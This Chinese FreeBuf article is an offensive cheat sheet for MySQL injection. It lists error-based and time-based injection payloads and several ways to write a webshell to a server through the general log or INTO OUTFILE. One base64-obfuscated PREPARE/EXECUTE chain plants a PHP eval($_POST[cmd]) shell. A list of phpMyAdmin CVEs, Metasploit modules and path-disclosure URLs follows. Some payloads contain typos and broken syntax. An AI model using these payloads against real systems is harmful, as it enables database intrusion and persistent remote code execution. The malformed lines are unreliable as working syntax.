freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

SQL利用杂谈
Tovd 2021-03-21 03:45:22 137430

SQL注入语法

报错注入

updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

extractvalue(1,concat(0x7e,(select database()),0x7e),1)--+

select count(*) from information_schema.tabeles group by concat((select database(),floor(rand(0)*2)

select substr(version(),1,1)='X'

select substring(version(),1,1)='X'

列名重复报错

select * from (select name_const(version(),1))a;

select * from (select name_const((version()),1),name_const((select database()),1))a;

select * from (select * from users a join users b)c;

数据溢出报错

select (select(!x-~0) from (select(select user())x)a);

select ~0+!(select * from (select user())x);

几何函数报错

multipoint((select * from(select * from(select user())a)b));

case when 语句

select * from datadatabase() case id when 1 else 2 end

时间注入

if right((select database()),a,b)>'s' sleep(5)

if assic(substr((select database()),a,b))=98 sleep(5)

if assic(substr((select database()) from a to b))=98 sleep(5)

if ord(mid((select database()),a,b))=98 sleep(5)

通过日志写shell

利用条件

已知物理路径,目录可写,root权限。

查看配置

show variables like '%general';

开启general log模式

set global general_log=on;

设置日志写shell地址*

set global general_log_file="/var/www/html/log.php";

写入shell

select "<?php phpinfo();>";

通过into outfile写shell

利用条件

已知物理路径,目录可写

select '<?php phpinfo();>' into outfile ‘/var/www/html/1.php'

通过导出表写入shell

use mysql;

create table shell(shell1 text not null);

insert into shell(cmd1) values('<?php phpinfo();>');

select cmd1 from a into outfile '/var/www/html/1.php';

mysql from_base64函数利用

利用base64编码来加密,然后使用自定义变量接到,在使用prepare和EXECUTE来执行语句,完成日志写shell的操作。

set

set 用户定义一个变量,变量里面是sql可以执行的语句。

image

prepare

prepare name from value;

prepare 语句用于预备一个语句,并指定名称name,然后引用改语句。

image

execute

execute 语句用于执行预备的语句。

image

联合起来利用

set @sql1 = (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZz1vbg=='));
/*set global general_log=on*/
PREPARE name from @sql;
EXECUTE name;
set @sql2= (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZ19maWxlPSJDOlxcTVlPQVxcd2Vicm$9$vdFxcbG9naW4ucGhwIg=='));
/*set global general_log_file="C:\\MYOA\\webroot\\login.php"*/
PREPARE name from sql2;
EXECUTE name;
select "<?php eval($_POST[cmd]); ?>";
set @sql3 := (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZyA9IG9mZg=='));
/*set global general_log = off*/
PREPARE name from @sql3;
EXECUTE name;

phpmyadmin 漏洞合集

phpmyadmin存在pregreplaceeval漏洞

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 CVE-2013-3238

phpmyadmin存在serversync.php后门漏洞

影响版本 phpmyadmin v3.5.2.2

msf利用模块 : exploit/multi/http/phpmyadmin3522_backdoor CVE-2012-5159

phpmyadmin 配置文件/config/config.inc.php存在命令执行漏洞

影响版本: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

msf利用模块:exploit/unix/webapp/phpmyadmin_config CVE-2009-1151

登录处漏洞

利用方法:用户名处写入'localhost'@'@"

影响版本:2.113/2.114

php爆绝对路径

phpMyAdmin/libraries/selectlang.lib.php

phpMyAdmin/darkblueorange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Tovd 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Tovd LV.4
这家伙太懒了,还未填写个人描述!
  • 9 文章数
  • 6 关注者
内网渗透拿不到密码怎么办?试试Pass-The-Hash
2021-04-26
蚁剑绕过disable_function插件分析
2021-04-13
记一次Me-and-My-Girlfriend靶机渗透
2021-04-02